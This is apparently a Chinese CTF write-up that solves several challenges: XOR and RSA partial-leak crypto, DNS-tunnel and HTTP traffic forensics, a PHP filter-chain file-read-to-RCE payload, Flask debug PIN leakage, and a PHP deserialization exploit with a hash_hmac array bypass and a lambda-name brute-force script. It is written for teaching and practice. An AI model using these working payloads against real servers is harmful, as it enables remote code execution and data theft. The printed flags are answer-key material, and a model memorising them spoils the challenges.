C1-xor
chall.py
from flag import flag
def encrypt(x, y):
key='zxb'
result=''
for i in range(len(x)):
result+=chr(ord(x[i])^ord(y[i])^ord(key[i%3]))
return result
x = flag
y = flag[1:] + flag[0]
enc = open('flag.enc', 'wb')
enc.write(encrypt(x, y))
enc.close()
简单的异或,可得到x^y的结果; 再爆破flag中的第一个字符,匹配flag即可:
from Crypto.Util.number import long_to_bytes
enc = open('flag.enc', 'rb').read()
xy = b''
key = b'zxb'
for i in range(len(enc)):
xy += long_to_bytes(enc[i] ^ key[i%3])
for i in range(31, 127):
f1 = long_to_bytes(xy[0] ^ i)
flag = f1
for j in range(1, len(xy)):
flag += long_to_bytes(xy[j] ^ flag[j-1])
if b'flag' in flag:
print(flag)
# b'ongratulations,you find it:flag{XOR_IS_FUNNY!}C'
exp2:
with open('flag.enc', 'rb') as f:
enc = f.read()
print(len(enc))
res = list()
key = b'zxb'
for i in range(len(enc)):
res.append(enc[i] ^ key[i % len(key)])
for f0 in range(256):
now = list()
pre = f0
for i in range(len(res)):
now.append(res[i] ^ pre)
pre = now[-1]
flag = bytes(now[-1:] + now[:-1])
if b'flag' in flag:print(flag)
# Congratulations,you find it:flag{XOR_IS_FUNNY!}
C2-p^q-PxorQ-高位泄露
chall.py
from Crypto.Util.number import getPrime, bytes_to_long
from gmpy2 import invert, powmod
p = getPrime(1024)
q = getPrime(1024)
n = p * q
phi = (p - 1) * (q - 1)
e = 0x10001
d = invert(e, phi)
with open("flag.txt", "rb") as f:
m = bytes_to_long(f.read())
c = powmod(m, e, n)
assert m == powmod(c, d, n)
with open("output.txt", "w") as f:
f.write("n = {}\n".format(n))
f.write("c = {}\n".format(c))
f.write("leak = {}\n".format((p ^ q) & ((1 << 800) - 1)))
题目泄露了 leak = (p ^ q) & ((1 << 800) - 1))
即p^q低位泄露(PxorQ低位泄露)。
$p \oplus q $
#SAGE
from Crypto.Util.number import *
from tqdm import trange
import gmpy2
n = 15571235426797939539238831633247703697409215642831362718146066385417021399103592649626632712024314917817471913939626433520575953306292197338982465585231726225691523482332855007581046878858859892738287906751603097287292123432184264315236703956440181898240812707048906540935557847459938834006517112306094162817074984718655862387364938057878492284440744016546443775531916167164017470033683394275914057901191912284384121493630109154926516069366062089783088439732169772370370955294590903435838430320194003869373124126574176180627081544221636132143905441920473191061061461409407547427997166908876273698276541130678984899303
c = 11410349198192402083731025358124670205298762156812742512455806430945720053501248573549000565669379087195952270760749370073167203051546900914096995321278405720220367427519939638116382433595807325494197693420378893656116540927023043865164328614746414479628014540017033577967693193978113818125984134421120761946747105183198057647052506266535688704007423583060833596105939484423152668717114112856314424069195220194470093254307436153736407926031038716511515018884928576377289853802156015456424197355710062631887029663480146136538261678824501076415658065918045730425523209518075212493675750467401967567713964871622654517929
x = 2391766340580872396075853116060954790369153414025348183898792053278577108869816452176679906799250067017630058347039968502218692998106913594566891267374934074656997523077504385902187178779959674864970574631185410074159953449193378952686076390
e=65537
def findp(p,plist):
l=len(p)
if l==800:
plist.append(int(p,2))
else:
pp=int(p,2)
qq=(x^^pp)%2**l
if pp*qq%2**l==n%2**l:
findp('1'+p,plist)
findp('0'+p,plist)
plist=[]
findp('1',plist)
for i in trange(len(plist)):
PR.<x> = PolynomialRing(Zmod(n))
f = x*2^800 + plist[i]
f = f.monic()
r = f.small_roots(X=2^224, beta=0.4)
if r:
p = int(plist[i]+r[0]* 2^800)
if n%p == 0:
break
q = n // p
d = gmpy2.invert(e, (p-1)*(q-1))
print(long_to_bytes(power_mod(c, d, n)))
#flag{a20a5a7eb490770447d59f291e71930e}
M1-流量-HTTP导出
字符串搜索
搜索flag常见的一些字符串,找到flag:
$
$ strings data.pcapng | grep Zmxh
// ZmxhZ3s3NGNtc18xc18wMWRfcDBwY21zfQ==
// ZmxhZ3s3NGNtc18xc18wMWRfcDBwY21zfQ==
再base64转换一下:
flag{74cms_1s_01d_p0pcms}
M2-流量-DNS
发现是流量包,用wireshark打开:
主要是TCP包。但通过跟踪TCP流,发现都是加密后的流量,无法分析。
于是分析非TCP流量:
过滤器:
not tcp
发现有很多DNS流量。其中,部分域名比较奇怪:
based2hvYW1pCnJ.pwn.org.cn
猜测要提取出域名信息:
based2hvYW1pCnJ.pwn.org.cn
basevb3QKbHMgLwpi.pwn.org.cn
baseaW4gIGJvb3QgIGR.pwn.org.cn
baseldiAgZXRjI.pwn.org.cn
baseCBmbGFnICBo.pwn.org.cn
baseb21lICBsa.pwn.org.cn
baseWIgc3J2IC.pwn.org.cn
baseBzeXMgIHRtc.pwn.org.cn
baseCAgdXNyICB2.pwn.org.cn
baseYXIKY2F0IC9mb.pwn.org.cn
baseGFnCmZsYW.pwn.org.cn
based7eU91X0N.pwn.org.cn
basehTl9GMU5.pwn.org.cn
basekXzFUX2l.pwn.org.cn
baseuX2RuNX0KCgoK.pwn.org.cn
删除前面的 base
和后面的 .pwn.org.cn
内容,拼接,并base64解码,得到flag:
d2hvYW1pCnJvb3QKbHMgLwpiaW4gIGJvb3QgIGRldiAgZXRjICBmbGFnICBob21lICBsaWIgc3J2ICBzeXMgIHRtcCAgdXNyICB2YXIKY2F0IC9mbGFnCmZsYWd7eU91X0NhTl9GMU5kXzFUX2luX2RuNX0KCgoK
--》 whoami
root
ls /
bin boot dev etc flag home lib srv sys tmp usr var
cat /flag
flag{yOu_CaN_F1Nd_1T_in_dn5}
flag如下:
flag{yOu_CaN_F1Nd_1T_in_dn5}
W1-git
W2-php_filter_chain
信息收集发现src目录
访问到src,发现是模板站点,存在about.php任意文件读取漏洞。
filter chain, 命令执行得到flag
python3 php_filter_chain_generator.py --chain '<?php system("cat ../f1a*"); ?> '
-->
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
flag文件:/f1a4a4a4a44444ag.php。
flask PIN调试面板命令执行
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['FILES_FOLDER'] = '/tmp/'
logging.basicConfig(filename='/tmp/app.log', level=logging.DEBUG, format=f'%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')
@app.route('/upload_file', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
flash('No selected file')
return redirect(request.url)
if file and check_file_allow(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['FILES_FOLDER'], filename))
return redirect('/')
@app.route('/get_file/<path:name>')
def get_file(name):
return send_from_directory(app.config['FILES_FOLDER'], name, as_attachment=True)
很明显app.log里面有东西
直接访问看到了pin
2023-12-02 02:55:20,692 INFO werkzeug Thread-598: * To enable the debugger you need to enter the security pin:
2023-12-02 02:55:20,692 INFO werkzeug Thread-598: * Debugger pin code: 144-950-937
然后访问/console
# PHP反序列化-create_function-hash_hmac绕过
得到源码:
<?php
class Bird{
public $funcs;
public $salt;
public $flag;
function say_flag(){
$secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));
$hmac = hash_hmac('sha256', $_GET['password'], $secret);
if($_GET['mac'] === $hmac){
show_source("/flag");
}
}
function __destruct(){
$self_func=$this->funcs;
$self_func();
}
}
if(isset($_GET['p'])){
$funcs = create_function("","unserialize(\$_GET['d']);");
$_GET['p']();
}else{
show_source(__FILE__);
}
1 - hash_hmac绕过
$secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));
$hmac = hash_hmac('sha256', $_GET['password'], $secret);
if($_GET['mac'] === $hmac){
show_source("/flag");
}
[羊城杯 2020]Blackcat中的原题。
我们看看hash_hmac函数利用方式,算法都是【sha256】,可控输入点是【data】和【key】。当$binary设置为true时,输出为原始二进制数据;设置为false时,输出为十六进制值。
tips: 当我们给hash_hmac第二个参数传递的值为数组的时候,会返回false。
当我们给hash_hmac第二个参数传递的值为数组的时候,会返回false。
本地测试一下:
$ type test.php
<?php echo hash_hmac('sha256', 1, false);?>
$ php test.php
41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523
因此,payload如下:
class Bird{
public $funcs = ['Bird','say_flag'];
public $salt;
public $flag;
}
HTTP GET: salt[]=a&password=1&mac=41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523
2 - PHP反序列化
3 - 爆破 lambda 匿名函数
参照BUUCTF:[SUCTF 2018]annonymous
create_function()函数在创建之后会生成一个函数名为:%00lambda_%d.
%d是持续递增的,这里的%d会一直递增到最大长度直到结束,通过大量的请求来迫使Pre-fork模式启动.
Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了.
写个脚本一直去刷新访问即可.
exp:
<?php
class Bird{
public $funcs=['Bird','say_flag'];
public $salt;
public $flag;
function say_flag(){
$secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));
$hmac = hash_hmac('sha256', $_GET['password'], $secret);
//echo hash_hmac('sha256', $_GET['password'], $secret);
if($_GET['mac'] === $hmac){
echo "sha256 yes";
}
}
function __destruct(){
$self_func=$this->funcs;
$self_func();
}
}
$a=new Bird();
echo urlencode(serialize($a));
?>
python爆破:
import requests
url='http://111.74.9.131:10851/?salt[]=1&password=1&mac=41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523&d=O:4:"Bird":3:{s:5:"funcs";a:2:{i:0;s:4:"Bird";i:1;s:8:"say_flag";}s:4:"salt";N;s:4:"flag";N;}&p=%00lambda_'
for i in range(10000):
r=requests.get(url+str(i)).text
if 'Call to undefined function' not in r:
print(i,r)
break